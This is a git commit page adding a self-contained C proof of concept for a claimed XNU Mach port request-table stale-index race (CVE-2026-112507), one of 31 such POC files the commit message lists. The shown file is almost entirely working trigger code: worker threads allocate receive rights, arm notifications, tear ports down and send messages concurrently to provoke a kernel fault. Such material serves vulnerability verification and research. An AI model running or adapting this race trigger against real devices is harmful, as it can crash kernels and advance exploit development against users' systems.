v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+266
View File
@@ -0,0 +1,266 @@
// kern.ipc · XNU ipc_port.c request-table index consumers · CVE-2026-112507
// Mach port request-table stale-index race
// C twin of the Swift POC: 4 pthreads drive allocate/notify/teardown rings on the task
// port namespace for 6 s (depth 48, budget 6000). The 27.2 kernel added ipr != NULL /
// table != NULL checks over every index-consumer of the per-space port-request table.
// Build: clang -O2 -o cve-2026-112507 CVE-2026-112507.c -lpthread
// Run: ./cve-2026-112507 [seconds] [workers] [depth]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <mach/mach.h>
#define TOTAL_BUDGET 6000
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
typedef struct {
long operations, allocations, notifications, sends, deallocations;
int budget_exhausted;
long notifications_refused;
long budget;
// kernel error codes, slot-hashed
int err_codes[32]; long err_counts[32]; char err_names[32][40]; int nerrs;
pthread_mutex_t lock;
} stats_t;
static stats_t S;
static void record(kern_return_t kr) {
if (kr == KERN_SUCCESS) return;
pthread_mutex_lock(&S.lock);
int slot = -1;
for (int i = 0; i < S.nerrs; i++) if (S.err_codes[i] == kr) { slot = i; break; }
if (slot < 0 && S.nerrs < 32) {
slot = S.nerrs++;
S.err_codes[slot] = kr;
const char *n = mach_error_string(kr);
snprintf(S.err_names[slot], sizeof S.err_names[slot], "%s", n ? n : "unknown");
}
if (slot >= 0) S.err_counts[slot]++;
pthread_mutex_unlock(&S.lock);
}
// ── the ring (mirror of KernelIPC.ring) ──
// allocate RECEIVE rights, arm two notification kinds per port, tear half the ring down
// while the other half still holds armed notifications — the interleaving the
// request-table index consumers have to survive.
//
// Resource discipline: mod_refs with a negative delta against a zero send-ref count
// does not return an error on this platform — it SIGKILLs the process. Check first.
typedef struct { long alloc, notify, send, dealloc; } ring_result;
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
ring_result r = {0, 0, 0, 0};
mach_port_name_t ports[512];
int nports = 0;
if (depth > 512) depth = 512;
for (int i = 0; i < depth; i++) {
if (*budget <= 0) break;
mach_port_name_t name = 0;
kern_return_t kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &name);
if (kr == KERN_SUCCESS) {
ports[nports++] = name;
r.alloc++;
(*budget)--;
} else {
record(kr);
break;
}
}
// MACH_MSG_TYPE_MAKE_SEND on our own receive right keeps the port alive
for (int i = 0; i < nports; i++) {
mach_port_t p = ports[i];
mach_port_t prev = 0;
kern_return_t kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
if (kr1 != KERN_SUCCESS) {
record(kr1);
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++;
}
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
r.notify++;
mach_port_t prev2 = 0;
kern_return_t kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
if (kr2 != KERN_SUCCESS) {
record(kr2);
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++;
}
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
r.notify++;
}
// teardown half the ring while the other half still holds armed notifications
for (int i = 0; i < nports; i += 2) {
mach_port_t p = ports[i];
mach_port_urefs_t refs = 0;
if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &refs) == KERN_SUCCESS && refs > 0) {
kern_return_t kr = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -1);
if (kr != KERN_SUCCESS) record(kr);
}
r.dealloc++;
}
for (int i = 1; i < nports; i += 2) {
mach_port_t p = ports[i];
mach_msg_header_t header;
memset(&header, 0, sizeof header);
header.msgh_bits = (mach_msg_bits_t)MACH_MSG_TYPE_COPY_SEND;
header.msgh_size = (mach_msg_size_t)sizeof header;
header.msgh_remote_port = p;
header.msgh_local_port = 0;
header.msgh_id = 0;
kern_return_t kr = mach_msg_send(&header);
if (kr != KERN_SUCCESS) record(kr);
r.send++;
}
// release every remaining right, then the name; destruct with delta 0 only
// succeeds once the right count is already 0
for (int i = 0; i < nports; i++) {
mach_port_t p = ports[i];
mach_port_urefs_t urefs = 0;
if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &urefs) == KERN_SUCCESS && urefs > 0) {
mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -(mach_port_delta_t)urefs);
}
kern_return_t kr = mach_port_destruct(task, p, 0, 0);
if (kr != KERN_SUCCESS) {
// deliberate fallback: destroy tolerates outstanding rights
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
mach_port_destroy(task, p);
#pragma clang diagnostic pop
}
r.dealloc++;
}
return r;
}
static double g_seconds = 6.0;
static struct timespec g_deadline;
static int past_deadline(void) {
struct timespec now;
clock_gettime(CLOCK_MONOTONIC, &now);
if (now.tv_sec > g_deadline.tv_sec) return 1;
if (now.tv_sec == g_deadline.tv_sec && now.tv_nsec >= g_deadline.tv_nsec) return 1;
return 0;
}
static int g_depth = 48;
static void *worker(void *arg) {
(void)arg;
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0;
while (!past_deadline()) {
pthread_mutex_lock(&S.lock);
int remaining = (int)S.budget;
pthread_mutex_unlock(&S.lock);
if (remaining <= 0) {
pthread_mutex_lock(&S.lock);
S.budget_exhausted = 1;
pthread_mutex_unlock(&S.lock);
break;
}
int slice = g_depth < remaining ? g_depth : remaining;
long refused = 0;
ring_result res = ring(mach_task_self(), slice, &slice, &refused);
if (refused > 0) {
pthread_mutex_lock(&S.lock);
S.notifications_refused += refused;
pthread_mutex_unlock(&S.lock);
}
local_alloc += res.alloc;
local_notify += res.notify;
local_send += res.send;
local_dealloc += res.dealloc;
local_ops += 4;
pthread_mutex_lock(&S.lock);
S.budget -= res.alloc;
pthread_mutex_unlock(&S.lock);
}
pthread_mutex_lock(&S.lock);
S.operations += local_ops;
S.allocations += local_alloc;
S.notifications += local_notify;
S.sends += local_send;
S.deallocations += local_dealloc;
pthread_mutex_unlock(&S.lock);
return NULL;
}
// ── baseline (mirror of KernelIPC.baseline) ──
static void baseline(void) {
mach_port_t task = mach_task_self();
mach_port_t bootstrap = 0;
kern_return_t kr = task_get_special_port(task, TASK_BOOTSTRAP_PORT, &bootstrap);
printf("bootstrap: %s port=%d\n", mach_error_string(kr), bootstrap);
mach_port_name_array_t names = NULL;
mach_port_type_array_t types = NULL;
mach_msg_type_number_t name_count = 0, type_count = 0;
kern_return_t kr2 = mach_port_names(task, &names, &name_count, &types, &type_count);
printf("port_names: %s count=%u\n", mach_error_string(kr2), name_count);
if (names) {
vm_deallocate(task, (vm_address_t)(uintptr_t)names, name_count * sizeof(mach_port_name_t));
}
if (types) {
vm_deallocate(task, (vm_address_t)(uintptr_t)types, type_count * sizeof(mach_port_type_t));
}
}
int main(int argc, char **argv) {
g_seconds = argc > 1 ? atof(argv[1]) : 6.0;
int workers = argc > 2 ? atoi(argv[2]) : 4;
g_depth = argc > 3 ? atoi(argv[3]) : 48;
if (g_depth > 512) g_depth = 512;
pthread_mutex_init(&S.lock, NULL);
S.budget = TOTAL_BUDGET;
printf("— baseline —\n");
baseline();
struct timespec start;
clock_gettime(CLOCK_MONOTONIC, &start);
g_deadline.tv_sec = (time_t)(start.tv_sec + g_seconds);
g_deadline.tv_nsec = start.tv_nsec;
printf("\n— race: %.0f s, %d workers, depth %d, budget %d —\n",
g_seconds, workers, g_depth, TOTAL_BUDGET);
pthread_t threads[8];
if (workers > 8) workers = 8;
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n",
S.operations, S.allocations, S.notifications, S.sends, S.deallocations);
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
if (S.notifications_refused > 0) {
printf("notifications refused %ld times — this platform does not allow notification\n"
"registration on own ports, so the request-table path cannot be armed here\n",
S.notifications_refused);
}
if (S.nerrs > 0) {
printf("kernel errors:\n");
for (int i = 0; i < S.nerrs; i++) {
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
}
}
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n");
pthread_mutex_destroy(&S.lock);
return 0;
}